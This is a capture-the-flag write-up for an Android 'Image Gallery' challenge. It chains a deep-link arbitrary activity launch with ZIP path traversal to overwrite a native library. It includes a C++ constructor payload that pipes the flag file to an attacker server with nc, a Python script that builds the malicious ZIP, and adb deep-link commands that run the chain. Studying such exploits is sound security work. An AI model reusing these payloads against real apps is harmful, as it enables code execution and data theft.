Image Gallery

Description

problem description

Solution

Challenge Overview

The "Image Gallery" challenge was presented with an Android application (APK) and a URL pointing to a web page. The web page featured a form, and a URL submitted via this form would then be visited by an internal bot.

Image Gallery Web Page

APK Analysis

Upon decompiling the com.appsecil.imagegallery package, three key activities were identified:

A deeper dive into the Utils.prepareResources function revealed that its two main tasks are, first, copying native libraries from the application's resources to LIB_DIR, and second, copying initial image assets to IMAGE_DIR.

The redirect function, responsible for handling appsecil deep links, parses the url query parameter as an Android Intent URI, and the activity specified by that intent is subsequently started. This mechanism immediately raised a red flag, indicating that a potential for arbitrary activity launching was present.

The Vulnerabilities

The successful exploitation of this challenge relied on the chaining of two distinct vulnerabilities:

  1. Arbitrary Activity Launch via Deep Link: The redirect function's ability to parse an arbitrary Intent URI from the appsecil deep link's url parameter allows any activity within the com.appsecil.imagegallery package to be launched by an attacker. This is considered a critical primitive for controlling application flow.

  2. Path Traversal during ZIP Extraction Combined with Insecure File Overwriting: This constituted the core of the exploit. A crucial difference in how file paths are handled between ZipGalleryActivity's ZIP extraction and Utils.prepareResources's image copying was observed:

    • Unzip.extract (called by ZipGalleryActivity): When files are extracted from a ZIP archive, new File(destDir, zipentry.getName()) is used. This method causes zipentry.getName() to be interpreted literally. Therefore, if a ZIP entry is named ../lib/arm64-v8a/libimgcheck.so, a file with this exact literal name (including the ../ path traversal components) will be created directly within the IMAGE_DIR folder.

    • Utils.copySeedImages (called by Utils.prepareResources): In contrast, this function causes files in IMAGE_DIR to be iterated through. For each filename, the path is appended to IMAGE_DIR using Paths.join. This means that a file literally named ../lib/arm64-v8a/libimgcheck.so within IMAGE_DIR will be correctly resolved as lib/arm64-v8a/libimgcheck.so relative to the application's internal files directory. This behavior leads to a critical overwrite: the malicious file with the literal name ../lib/arm64-v8a/libimgcheck.so (created by the ZIP extraction) will be copied and effectively overwrite the legitimate libimgcheck.so shared object file located in lib/arm64-v8a/ when Utils.prepareResources is called.

Note: the vulnerability is not exploitable in Android 14+ as zipentry.getName() will throw an error if the file name starts with / or contains ...

Crafting the Exploit

Malicious Shared Object

The goal was the exfiltration of the flag. For this, a simple C++ Android native library (native-lib.cpp) was created, which executes a shell command to read the flag and send it to an attacker-controlled server. The __attribute__((constructor)) ensures that the code is run immediately when the library is loaded.

#include <string>
#include <unistd.h>
#include <cstdlib>

void __attribute__ ((constructor)) doit() {
    if (fork() == 0) {
        system("cat /data/data/com.appsecil.imagegallery/files/img/flag.png | nc <attacker server> 9999");
    }
}

After this project was built, the libmyapplication.so library for the relevant architecture (e.g., arm64-v8a) was extracted.

Malicious ZIP File Creation

Next, a specially crafted ZIP file that would exploit the path traversal vulnerability needed to be created. This Python script demonstrates how this can be achieved:

import zipfile
import os

ARCH = "arm64-v8a" # "x86_64"

zip_filename = "lol.zip"
source_lib_path = f"lib/{ARCH}/libmyapplication.so"
archive_name = f"../lib/{ARCH}/libimgcheck.so"

with zipfile.ZipFile(zip_filename, "w", zipfile.ZIP_DEFLATED) as zf:
    zf.write(source_lib_path, arcname=archive_name)

This lol.zip file, when extracted by ZipGalleryActivity, will cause a file literally named ../lib/arm64-v8a/libimgcheck.so to be created inside IMAGE_DIR. This ZIP file must be hosted on an HTTPS web server.

Exploit Chain Execution

The final step involves the orchestration of the execution using a sequence of appsecil deep links. This can be accomplished via adb or by submitting these deep links through the provided web form.

  1. ZipGalleryActivity is triggered to download and extract the malicious ZIP:

    This intent points to the hosted lol.zip. The ZipGalleryActivity will cause it to be downloaded and its contents to be extracted, resulting in the creation of the malicious libimgcheck.so with the path traversal components in IMAGE_DIR.

    ./adb.exe shell am start -W -a android.intent.action.VIEW -d "appsecil://localhost?url=intent%3A%23Intent%3Bcomponent%3Dcom%2Eappsecil%2Eimagegallery%2F%2EZipGalleryActivity%3BS%2Eurl%3Dhttps%3A%2F%2F<redacted.com>%2Flol%2Ezip%3Bend" com.appsecil.imagegallery
    
  2. MainActivity is triggered to overwrite the legitimate libimgcheck.so:

    By launching MainActivity, Utils.prepareResources is called. This function will now cause IMAGE_DIR to be iterated through, the maliciously named file to be found, and it to be copied to the correct lib/arm64-v8a/libimgcheck.so path, effectively causing the original library to be overwritten with the malicious one.

    ./adb.exe shell am start -W -a android.intent.action.VIEW -d "appsecil://localhost?url=intent%3A%23Intent%3Bcomponent%3Dcom%2Eappsecil%2Eimagegallery%2F%2EMainActivity%3B" com.appsecil.imagegallery
    
  3. ImageGalleryActivity is triggered to load the compromised libimgcheck.so:

    Finally, ImageGalleryActivity is launched. When it attempts to load libimgcheck.so, the modified library will now be loaded, triggering the constructor function (doit()), which then causes the command to exfiltrate the flag to be executed.

    ./adb.exe shell am start -W -a android.intent.action.VIEW -d "appsecil://localhost?url=intent%3A%23Intent%3Bcomponent%3Dcom%2Eappsecil%2Eimagegallery%2F%2EImageGalleryActivity%3B" com.appsecil.imagegallery
    

To obtain the flag, a netcat listener would be set up on the attacker machine (e.g., nc -lvnp 9999 > flag.png), and the three adb commands would then be executed in sequence. Remotely, the first deep link (to ZipGalleryActivity) would be submitted via the challenge's web form, and the bot's subsequent actions (likely triggering MainActivity and ImageGalleryActivity internally after processing the initial request) would complete the exploit chain, causing the flag to be sent to the listening server.